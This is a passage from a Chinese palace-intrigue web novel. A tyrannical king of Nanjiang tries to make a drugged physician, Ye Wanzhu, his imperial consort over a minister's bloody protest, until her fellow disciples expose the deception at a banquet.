南疆王也正在气头上,将袍袖一甩就大步走下高台,一脚踹在段大人胸前! “拿剑来!”他朝着殿外的大内侍卫怒吼,“朕要亲自砍了这个胆大包天的东西!” 守门的侍卫和躺在地上的段大人都愣住了。 “快啊!”王上的一双厉眸再次扫了过去。 那侍卫还没反应过来,腰间一松,自己的佩剑被小太监五福一把抽出来,拖着朝王上而去! “拿来给朕!” 南疆王的脸阴沉得吓人,一把夺过五福手里的剑,转身就指上了段大人的脖颈。 冰凉的剑锋抵住下颌,段大人仰躺在地上,望着南疆王的时候,心里更是一片冰寒。 “王上要杀了微臣?”他的语气有些艰难。 “你想找死,朕就让你死得痛快一点。” 居高临下地望着段大人,南疆王的表情十分冷酷,眼中满是轻蔑。 这帮文臣只会打嘴仗,多看一点儿混乱的场面都要吓得面无血色,哪里敢跟剑过不去—— 下一刻,段大人猛地挺起胸膛,怒而撞进剑尖! 第四百六十三章 当众封妃 段大人血溅御书房,以死劝谏南疆王收回成命,顿时又引起了一阵不小的混乱。 好在御医来得及时,暂时保住了段大人的性命,只是人一时间还醒不过来。 让人把段大人送到御医署去,看着殿中的血迹,御书房内外安静得吓人。 先是游将军,又是段大人,短短几日,已经有两桩血案发生了。 官员们站在角落,皆是一脸悲愤。 这样的事情还要持续多久,才能让王上恢复理智? “那个……王上啊。” 岑灵川这时候清了清嗓子打破沉默。 “您看,要不草民还是现在就把师妹接走吧,免得再给您添麻烦……” 眼睁睁看着段大人撞剑,岑灵川也出了一身冷汗! 南疆王闻言,本就难看的脸色变得越发不可收拾。 “什么麻烦!”他冷笑一声,“要不是他们自作多情,事情怎么会闹成现在这样?” 一边说着话,他一边冷冰冰地朝着缩在一旁的官员们看了过去。 官员们敢怒不敢言,垂下的眼底更是悲愤满满。 到底是谁在闹啊! “王上——” 岑灵川不死心,还想说什么,却又被南疆王一抬手打断。 “好了,”他深吸一口气,“这些事情不劳林大夫操心,宫宴的时辰快要到了,德水,你送林大夫去休息!” 他的语气里满是斩钉截铁,显然是没得商量。 德水躬着身子,小心翼翼地走到岑灵川身边。 岑灵川却站着没动,“王上,草民想见见——” 师妹两个字又被打断在南疆王拍桌子的声音里。 “德水!拖拖拉拉地在干什么,还不快去!”南疆王又怒喝起来,仿佛没听到岑灵川的话。 见状,岑灵川也只能将心思按下,跟着德水转身离开。 “你们还站在这里干什么?” 解决完一件事,南疆王又转头看向站在一旁的官员们,“还不滚?” 这位连段大人死谏都能不动如山,仿佛什么都没有发生,那他们再说什么也是枉然。 大臣们接二连三地告退,离开时还又被南疆王叮嘱了一番,一定要按时参加晚上的宫宴,这才把他们放走。 离开御书房,背后没了那冷冰冰的慑人目光,大臣们你看看我,我看看你,都忍不住摇头叹息! 南疆,难了! 另外一边,岑灵川跟着德水进到一间偏殿之中。 符绮已经等在这儿了,关上房门,德水又便立刻将这三日来叶晚竹的情况和盘托出。 担心岑灵川不信,他还又把那块王后的玉佩拿了出来。 “也就是说,宫里没人知道师妹屋中的情况?” 听完德水的话,岑灵川微微皱起了眉头。 感觉好像有些不对劲。 “我刚刚去了一趟玉兰殿,被那里的守卫挡了出来。” 符绮皱着眉头说话,表情不太好。 “那些大内侍卫告诉我,师妹正在休息,概不见人。整座宫殿死气沉沉的,看不出一点儿有人生活的痕迹。” 听着这话,岑灵川的眉头越皱越紧。 天问那秃驴,究竟要干什么? 他刚站起身,便被德水眼疾手快地一把拉住了。 “林大夫,”德水压低声音,语速飞快,“玉兰殿看似只有侍卫把守,实则暗中布满眼线,您千万不要前去!” 他是外男,若是被抓到进入后宫,正好给了王上大动干戈的理由。 岑灵川原本还有这样的打算,闻言也只能暂时歇下心思。 “既然这样,那就只能等到宫宴再说了。” —— 几个时辰一晃而过,等夜色降临,宫中张灯结彩,热闹非凡。 白日里那些血腥的场景似乎已经完全消失不见,前来宫中赴宴的大人们也都绝口不提,笑着互相交谈,显得和乐融融的。 只要不仔细看一些大臣们强撑起来的假笑的话。 南疆王早早地在设宴的殿中落座,他身穿明黄衣袍,笑容满面,一双总是阴鸷的眸子这会儿也终于染上了几分笑意。 朝中的官员们有段大人这样中正不阿的,便也有一心跟从南疆王的,这会儿正泾渭分明地坐在宴席两头,一看就知道互不对付。 南疆王也不在意,眼神频频朝殿外看去,在终于看到三喜进来报信的时候,才双眼一亮,起身拍了拍巴掌。 正热闹交谈着的大殿中顿时安静下来。 “诸位爱卿,朕今日举办宴席,一是为了答谢神医,替朕解除了蛊毒;二来,更是要宣布一个好消息!” 在朝中说得上话的官员们都已经听说了皇贵妃之事,闻言并没有露出多少好奇的神色。 一些惯会溜须拍马的,还提前扬起了笑容,随时准备着给王上道喜。 “请柳大夫进殿吧!” 南疆王又朝着三喜吩咐了一声,后者响亮地应着,转头就亲自扶着一个女子走了进来。 叶晚竹这会儿已经换上了南疆王宫中特制的宫装,头顶珠翠,还盖了一张薄薄的纱绢充当盖头。 她垂着眉眼,脚下莲步轻移,一点一点地随着三喜往南疆王身边走。 看着师妹这旁若无人的模样,岑灵川的眉头立刻就皱得紧紧的。 不对劲! 他师妹这好像是中招了! 眼风一扫,岑灵川就和不远处的符绮对上了视线,在她眼底也发现了相同的情绪。 要坏! “当着诸位的面儿,朕今晚便正式册封柳大夫,为朕的皇贵妃!” 这时候,叶晚竹已经被三喜带着在南疆王身边站定,南疆王背着双手,朗声发笑。 “皇贵妃日后替朕统揽后宫中的一切事务,她的话,就是朕的意思!” 闻言,殿中的官员们表情各异。 段大人死谏也不成,众人便知道他们无论如何只能接受现实,可没想到,王上竟然要给这位皇贵妃这么大的权力! 这不就等于是彻底夺了王后的权,只留下一个空架子吗? 看着南疆王身边空空如也,慕家的子孙也一个都没出现在宫宴现场的模样,大臣们不由得都有些恻恻。 今天是慕家,明天,又要变成谁家? 想归想,这会儿却不比白天,没有一个人站出来说话。 南疆王扫视全场,笑容变得更加满意。 “此事就这么定了——” “王上,草民不同意!” 第四百六十四章 是他给我下了药! 眼看南疆王的话就要落地,岑灵川终于控制不住出声了。 他大步走到大殿中央,顶着四周可怕的沉默,朝上方躬身行礼,顺便又悄悄地看了一眼叶晚竹。 隔着一层薄薄的轻纱,叶晚竹无神的双眼一瞬不眨,仿佛压根就没看到岑灵川这个师兄似的。 从她进到殿中,岑灵川已经试了好几次,无一不是这个结果。 天问这秃驴把他师妹怎么了? 按着又气又急的心思,岑灵川大声道,“草民师妹从来没有入宫为妃的心思,白日里草民已经说得很清楚了,请王上收回成命吧!” “林大夫,你这是在胡言乱语什么?” 南疆王故作疑惑地皱起了眉头。 “白日?今天下午,朕不是已经安排你与贵妃见过面,你也听贵妃亲口说了,是她自己愿意留在王宫中的吗?” 岑灵川:…… 这才是胡言乱语! 他一直被关在那倒霉的偏殿,根本就没出去过! “王上,您这番无中生有,不太好吧?” 符绮这时候也站了起来,走到岑灵川身边,“草民与师兄下午一直呆在一起,从来没听说过什么见面的事情!倒是草民想去玉兰殿和师妹说话被拦住了。” 想到上面的这位就是天问秃驴,符绮的语气也控制不住变得硬邦邦的。 南疆王的表情变得更奇怪,“符大夫也是一起的,你们二位现在这样说,是什么意思?” 话说到最后一句,他的眼神忽然变得凶戾起来。 “难道朕会当着满朝文武的面儿,故意颠倒黑白不成!” 他话音未落,岑灵川就是一声冷笑,“怎么,王上不会吗?我和师姐可是正亲耳听着呢!” 莫说眼前这个是天问秃驴,就算是真的南疆王,也不能这么一张嘴就胡说八道! 符绮也扬起声音,“不错,王上还是莫要这般仗势欺人的好!” 看着眼前两人的模样,南疆王的呼吸又粗重了几分。 此时殿中更是落针可闻,其他参加宴会的宾客早就垂下了脑袋,恨不得自己压根就不存在。 谁能想到,竟然有人敢在这种场合,公开和王上唱反调! 可南疆王最近的所作所为,大伙儿也都看在眼中,这会儿听着南疆王质问两人的声音,知情更多的官员们也越发紧张。 尤其是下午在御书房中的那几位,恨不得认定了事实。 王上八成真的没有跟这两个大夫交代过这件事啊! 殿中紧绷的氛围让人十分难捱,南疆王的视线从垂头不语,紧张兮兮的大人们身上挨个扫过,表情一点一点地又沉了下去。 这些官员不相信他,他能感受得到! “贵妃,没想到事情会闹成这样,你还是自己来跟林大夫解释吧。” 南疆王再开口,赫然是对着身边说话。 他的语气也跟着轻缓了两分,岑灵川和符绮愣了一下才反应过来,同时抬头朝叶晚竹看去。 南疆王竟然会让叶晚竹解释? 迎上两人眉头紧皱,神情严肃的模样,叶晚竹依旧是那副什么表情都没有的样子。 她抬手缓缓将头顶的纱绢摘下,露出更清晰的容貌。 柳大夫不是王都的高门大户出身,在场众人大部分都看过她的脸,饶是这般,还是有不少官员习惯性地移开目光,免得惹来王上的不快。 剩下的人中,有不少则是皱起了眉。 这位即将受封的皇贵妃,表情是不是太过平淡了些? 不对,准确地说,她根本就没有表情,连眨眼的速度都几乎一致,简直不像个活人! 身在南疆,大伙儿或多或少地都对蛊虫有所了解,看着皇贵妃的状态,不少人的心里止不住地打起了鼓。 这模样看上去……可不太正常! “师妹?” 岑灵川放轻了声音,一颗心都快提到嗓子眼了。 “你,你没事吧?” “师兄,我挺好的。” 上方的人开口应答,分明还是叶晚竹的声音,可岑灵川却就是感觉很不对头。 “贵妃,你下午的时候没有和林大夫说清楚吗?为何他还会这般误解?”南疆王的声音这时候又从旁边传了过来。 叶晚竹又慢慢地眨了眨眼。 “启禀王上,臣妾已经和师兄师姐说过了,的确是、是自愿留在王宫之中的。” 众人闻言又屏住了呼吸,叶晚竹却朝着岑灵川和符绮微微垂下头去。 “师兄师姐,你们日后若是想念我,可以随时到宫中来探望,这是王上给臣妾的恩典。” 南疆王哼了一声,没说话,但意思却已经非常明显了。 岑灵川也学着他的样子重重地哼了一声。 “师妹,你再说一遍,你是自愿留在王宫之中的?”他没看南疆王,直勾勾地望着叶晚竹。 从出声开始,他师妹那不疾不徐,假人般的口吻就只在这句话上出过纰漏。 “林大夫!”南疆王不悦至极,“你这是什么意思!” 岑灵川充耳不闻,只看着叶晚竹。 叶晚竹又眨了眨眼,“我是,我是自……是自……” 肉眼可见地,她的话说不下去了,眨眼的动作也开始变得忙乱,就连呼吸都跟着紧促了几分! 这是怎么了? 宾客们见状也跟着朝上面望去,南疆王黑沉着一张脸,上前把叶晚竹挡在身后,皱眉怒斥,“你们这是干什么!” “啊——” 下一刻,叶晚竹的尖叫响彻大殿,她抬手狠狠一推,猛地将南疆王从高台上推了下去! “这是什么地方——师兄!师姐!” 惊恐的尖叫声在看到岑灵川和符绮时戛然而止,叶晚竹猛地倒吸一口冷气,环顾四周,眼神迷茫。 “师妹!怎么回事!”岑灵川见状一跃朝高台上而去。 叶晚竹抬手一指南疆王,“他给我下了药!我失去了知觉,再醒来就是刚刚了!师兄,我都做了什么?” 她语气茫然,神情慌张,看上去似乎做不得假。 闻言,大殿中的众人纷纷也露出了惶然模样。 王上竟然会做出这种事情? 别说,好像也不是没可能! “放肆!” 南疆王这时候猛地站了起来。